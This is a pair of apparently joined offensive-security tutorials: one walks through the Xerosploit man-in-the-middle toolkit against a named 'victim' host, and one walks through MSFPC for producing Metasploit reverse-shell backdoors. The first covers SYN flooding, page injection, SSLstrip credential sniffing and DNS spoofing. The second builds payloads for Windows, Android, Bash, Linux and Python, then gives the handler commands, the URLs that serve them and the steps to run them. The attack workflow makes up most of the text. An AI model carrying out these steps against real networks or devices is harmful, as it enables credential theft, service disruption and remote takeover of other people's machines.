Xerosploit- A Man-In-The-Middle Attacking Tool

Networking is an important platform for an Ethical Hacker to check on, many of the threat can come from the internal network like network sniffing, Arp Spoofing, MITM e.t.c, This article is on Xerosploit which provides advanced MITM attack on your local network to sniff packets, steal password etc.

Table of Content

·         Introduction to Xerosploit

·         Man-In-The-Middle

·         Xerosploit Installation

·         PSCAN (Port Scanner)

·         DOS (Denial of service)

·         INJECTHTML (HTML INJECTION)

·         rdownload

·         SNIFF

·         dspoof

·         YPLAY

·         REPLACE

·         Driftnet

Introduction to Xerosploit

Xerosploit is a penetration testing toolkit whose goal is to perform man in the middle attacks for testing purposes. It brings various modules that allow to realise efficient attacks, and also allows to carry out denial of service attacks and port scanning. Powered by bettercap and nmap.

For those who are not familiar with Man-in-the-middle attack, welcome to the world of internal network attacks

Dependencies

nmap

hping3

build-essential

ruby-dev

libpcap-dev

libgmp3-dev

tabulate

terminaltables

Built-up with various Features:

Port scanning

Network mapping

Dos attack

Html code injection

Javascript code injection

Download intercaption and replacement

Sniffing

Dns spoofing

Background audio reproduction

Images replacement

Drifnet

Webpage defacement and more 

Man-In-The-Middle

A man-in-the-middle attack (MITM) is an attack where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicating with each other. There are many open source tools available online for this attack like Ettercap, MITMF, Xerosploit, e.t.c

From Wikipedia.org

Xerosploit Installation

Xerosploit is an attack tool for MITM which can run only on Linux OS to do so follow the simple steps:-

Open up terminal and type

git clone https://github.com/LionSec/xerosploit.git

cd xerosploit

./install.py

It will ask to choose your operating system, here we have press 1 for Kali Linux.

Here it will display your network configuration including IP address, MAC address, gateway, and interface and host name. Now run the following command on xerosploit console to know the initial commands:

help

In this grid we have list of commands for our attack and we are going for man in middle attack, so I will choose scan command in my next step for scanning the whole network.

scan

 This command will scan complete network and will found all devices on your network.

As you can observe that it has scanned all the active hosts. There are so many hosts in this network; you have to choose your target from given result. I am going to select 192.168.1.105 for man in middle attack.

192.168.1.105

 In next comment it will ask for module you want to load for man in middle attack. Go with this comment and type help.

help

PSCAN (Port Scanner)

Let’s begin with pscan which is a port scanner, it will show you all the open ports on network computer and retrieve version of the programs running on the detected ports. Type run to execute pscan and it will show you all the open ports of victim’s network.

pscan

DOS (Denial of service)

Type “dos” to load the module, it will send a succession of TCP-SYN request packet to a target’s system to make the machine unresponsive to legitimate traffic which mean it is performing SYN Flood attack.

dos

run

press ctrl + c to stop

If you are aware of HPING tool then you can notice, this module is initially using HPING command for sending countless SYN request packet.

INJECTHTML (HTML INJECTION)

HTML injection is the vulnerability inside any website that occurs when the user input is not correctly sanitized or the output is not encoded and attacker is able to inject valid HTML code into a vulnerable web page. There are so many techniques which could be use element and attributes to submit HTML content.

So here we will replace victim’s html page with ours. Select any page of yours choice as you will notice that I have written “You have been hacked” in my index.html page which I will replace with the victim’s html page. Whatever page the victim will try to open he/she will see only the replaced one.

First create a page as I have created & save it on Desktop by the name of INDEX.html

Now run injecthtml command to load the injecthtml module. And then type run command to execute the injecthtml and enter the path where you have saved the file.

Bravo! We have successfully replaced the page as you can see in the picture below.

Hit ctrl^c to stop the attack.

SNIFF

Now run the following module to sniff all the traffic of the victim with command:

sniff

Then enter the following command to execute that module:

run

Now it will ask you if you want to use SSLTRIP to strip the HTTPS URl’s to HTTP so that we can they catch the login credentials in clear text. So enter y.

When the victim will enter the username and password it will sniff and capture all the data.

Now it will open a separate terminal in which we can see all the credentials in clear text. As you can see it has successfully captured the login credentials.

Hit ctrl^c to stop the attack.

dspoof

It load dspoof module which will supply false DNS information to all target browsed hosts Redirect all the http traffic to the specified one IP.

Now type run command to execute module and then it will ask the IP address where you want to redirect the traffic, here we have given our Kali Linux IP.

Now as soon as the victim will open any webpage he/she will get the page store in our web directories which we want to show him/her as shown in the picture below.

Hit ctrl^c to stop the attack.

YPLAY

Now let’s catch the other interesting module which is yplay. It will play background video sound in victim browser of your choice. So first execute yplay command followed by run command and give the video i.d what you have selected.

Open your browser and choose your favorite video in YouTube which you want to play in background in victim’s browser. If video having any advertisement then skip that and select id from url. Come back to xerosploit.

yplay

 To execute yplay module for attack type run.

run

 Insert you tube video ID which you have copy above from url in next step.

 febVHEarpeQ

Now in no matters what victim is doing on the laptop. If he will try to open any webpage, on the background he/shell will hear the song which we want him to listen.

Hit ctrl^c to stop the attack.

REPLACE

I hope all the attacks were quite interesting. But the next is going to be amazing. Now we will replace all the images of victim’s website with our images. For this first execute the command replace followed by run command. Don’t forget to give the path of the .png file which you have created as a surprise box for the victim.

replace

run

/root/Desktop/1.png

As the victim opens any url he/she will be amazed to see the replaced images of his/her website as shown here.

Hit ctrl^c to stop the attack.

Driftnet

 We will use driftnet module to capture all the images the victim is surfing on the web with following commands and it will save all captured picture in opt/xerosploit/xedriftnet.

driftnet

run

Once the attack is launched; we can sniff down all the images that he is viewing on his computer in our screen. We can do much more with this tool simply by using the move you can shake the browser contents 

As you can observe that all the images what victim is viewing on his/her system is captured in your system successfully.

Hopefully!  So it is needless to say that this tool XERSPLOIT is quite interesting and useful as well for performing so many attacks. I hope readers are gonna like this.

HaPpY hAcKing!!

Comprehensive Guide to MSFPC

Hello Friends!!

As you all are aware of MSFvenom-A tool in Kali Linux for generating payload, is also available as MSFvenom Payload Creator (MSFPC) for generating various "basic" Meterpreter payloads via msfvenom. It is fully automating msfvenom & Metasploit is the end goal.

MSFvenom Payload Creator (MSFPC) is a wrapper to generate multiple types of payloads, based on user’s choice. The idea is to be as simple as possible (only requiring one input) to produce their payload.

Source: https://github.com/g0tmi1k/mpc

Author: g0tmi1k

SYNTAX

msfpc () () () () () () () ()

Create a Payload with Interactive IP Mode

Let’s create the payload for Windows platform with the help of following command

msfpc windows

When you will enter above command it will automatically confirm the interface:

Which interface should be used?

eth0, lo wan

We press 1 for eth0 and then it will start generating payload and as result give us following:

1.       Location of MSF handler file and windows meterpreter created.

2.       Command to be run to start multi handler automatically within metasploit framework.

3.       Command for file transfer through web server.

Basically the msfpc is design to reduce the user’s effort in generating payload of various platforms with different-different format of file. So when you will type “msfpc” it will display all types of platform and generate a specific format of file likewise.

Syntax: msfpc

Windows Payload

If you want to generate a payload to get meterpreter session victim’s machine which operates on Windows, then all you need to do is type following:

msfpc windows 192.168.1.109 1234

If you will not mention IP, it will automatically ask to choose interface as discussed above and choose 443 as default lport. It creates a malicious backdoor in the .exe format for 32-bit architecture. Then it will start generating the payload and as result give us details following details.

·         Location of MSF handler file and windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-1234.exe'

·         command to be run to start multi handler automatically: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-1234-exe.rc'

·         Command for file transfer through web server: python2 -m SimpleHTTPServer 8080

Now run the following command to launch multi/handler and web server for file transfer.

msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-1234-exe.rc'
python2 -m SimpleHTTPServer 8080

When victim will browse the following URL where it will ask to download and run the .exe file that will provide meterpreter session to the attacker.

http://192.168.1.109/root/windows-meterpreter-staged-reverse-tcp-1234.exe

Conclusion: Earlier the attackers were using manual method to generate a payload via msfvenom command and then use Metasploit module “multi/handler” to access the reverse connection via meterpreter session and this technique was quite successfully approach to compromise a victim’s machine although took much time. But same approach is applicable with the help of MSFPC for generating various "basic" Meterpreter payloads via msfvenom.

Android Payload

If you want to generate a payload to get meterpreter session victim’s machine which operates on Android, then all you need to do is type following:

msfpc apk 192.168.1.109 1234

It creates a malicious backdoor in the .apk format. Then it will start generating the payload and as result give us following details.

·         Location of MSF handler file and android meterpreter created: '/root/android-meterpreter-stageless-reverse-tcp-1234.apk'

·         Command to be run to start multi handler automatically: msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-1234.apk.rc'

·         Command for file transfer through web server: python2 -m SimpleHTTPServer 8080

Now run the following command to launch multi/handler and web server for file transfer.

msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-1234.apk.rc'

python2 -m SimpleHTTPServer 8080

When victim will browse the following URL where it will ask to install the application and run the .apk file that will provide meterpreter session to the attacker.

http://192.168.1.109/root/android-meterpreter-stageless-reverse-tcp-1234.apk

Hence you can observe as said above, we have meterpreter session of target’s machine.

BASH

The pro above MSFPC is that it reduces the stress to remember the format for each platform, all we need to do is just follow the above declare syntax and the rest will be managed by MSFPC automatically. Suppose I want to create a payload for Bash platform, and then it will take a few minutes in MSFPC to generate a bash payload.

msfpc bash 192.168.1.109 1234

It creates a malicious backdoor in the .sh format. Then it will start generating the payload and as result give us following:

·         Location of MSF handler file and bash meterpreter created: '/root/bash-shell-staged-reverse-tcp-1234.sh.'

·         Command to be run to start multi handler automatically: msfconsole -q -r '/root/bash-shell-staged-reverse-tcp-1234.sh.rc'

·         Command for file transfer through web server: python2 -m SimpleHTTPServer 8080

Now run the following command to launch multi/handler and web server for file transfer.

msfconsole -q -r '/root/bash-shell-staged-reverse-tcp-1234.sh.rc'

python2 -m SimpleHTTPServer 8080

When victim will browse the following URL where it will ask to install the script and once the target run the bash script with full permission, it will give command shell.  

http://192.168.1.109/root/bash-shell-staged-reverse-tcp-1234.sh

chmod 777 bash-shell-staged-reverse-tcp-1234.sh

./bash-shell-staged-reverse-tcp-1234.sh

Hence you can observe as said above, we have command shell of target’s machine and with the help of the following command we have upgraded it into meterpreter shell.

sessions -u 1

Linux

If you want to generate a payload to get meterpreter session victim’s machine which operates on Linux, then all you need to do is type following:

msfpc linux 192.168.1.109 4444

It creates a malicious backdoor in the .elf format. Then it will start generating the payload and as result give us following details:

·         Location of MSF handler file and Linux shell created: '/root/linux-shell-staged-reverse-tcp-4444.elf

·         Command to be run to start multi handler automatically: msfconsole -q -r '/root/linux-shell-staged-reverse-tcp-4444.elf.rc'

·         Command for file transfer through web server: python2 -m SimpleHTTPServer 8080

Now run the following command to launch multi/handler and web server for file transfer.

msfconsole -q -r '/root/linux-shell-staged-reverse-tcp-4444.elf.rc'

python2 -m SimpleHTTPServer 8080

When victim will browse the following URL where it will ask to install the application and once the target run the .elf file with full permission, it will give command shell. 

http://192.168.1.109/root/linux-shell-staged-reverse-tcp-4444.elf

chmod 777 linux-shell-staged-reverse-tcp-4444.elf

./linux-shell-staged-reverse-tcp-4444.elf

Hence you can observe as said above, we have command shell of target’s machine and with the help of the following command we have upgraded it into meterpreter shell.

sessions -u 1

Python

If you want to generate a payload to get meterpreter session victim’s machine which operates on Python, then all you need to do is type following:

msfpc python 192.168.1.109 5555

It creates a malicious backdoor in the .py format. Then it will start generating the payload and as result give us following detaisl:

Location of MSF handler file and python meterpreter created: '/root/python-meterpreter-staged-reverse_tcp-5555.py

Command to be run to start multi handler automatically: msfconsole -q -r '/root/python-meterpreter-staged-reverse_tcp-5555.py.rc'
Command for file transfer through web server: python2 -m SimpleHTTPServer 8080

Now run the following command to launch multi/handler and web server for file transfer.

msfconsole -q -r '/root/python-meterpreter-staged-reverse_tcp-5555.py.rc'

python2 -m SimpleHTTPServer 8080

When victim will browse the following URL where it will ask to install the script and once the target run the python script, it will give meterpreter session. 

http://192.168.1.109/root/python-meterpreter-staged-reverse_tcp-5555.py

python python-meterpreter-staged-reverse_tcp-5555.py

Hence you can observe as said above, we have meterpreter session of target’s machine

Batch (Generates all Possible Combination Payloads)

 Batch is most significant Mode as it generate as much as possible combination of payload. If we want to create all payloads which can give meterpreter session then we can use the following command in that situation.

msfpc msf batch eth0

In the given below command you can observe here it has generated all possible types payload which can give meterpreter sessions. Although the rest technique is as above to execute the payload and get reverse connection.

If we want to create all payloads which can give command shell session of the target’s machine then we can use the following command in that situation.

msfpc cmd batch eth0

In the given below command you can observe here it has generated all possible types payload which can give command shell.

Loop (Generates One payload for Each Platform)

Loop is also most significant mode as it generates on of each type of payload with their default values. Hence by default will generate a payload to provide meterpreter session rather than command shell session.

msfpc verbose loop eth0

In the given below command you can observe here it has generated all possible types payload for each platform which can give meterpreter sessions. Although the rest technique is as above to execute the payload and get reverse connection.

Generating Stageless Payload

As we all know there are two types of payloads i.e. stag and stageless and by default it creates a stage payload. If you want to create a stageless payload then you can go with the following command to generate stageless payload for command shell session or meterpreter session.

msfpc stagless cmd window 192.168.1.109 

msfpc stagless msf  window 192.168.1.109 

The rest technique is as above to execute the payload and get reverse connection.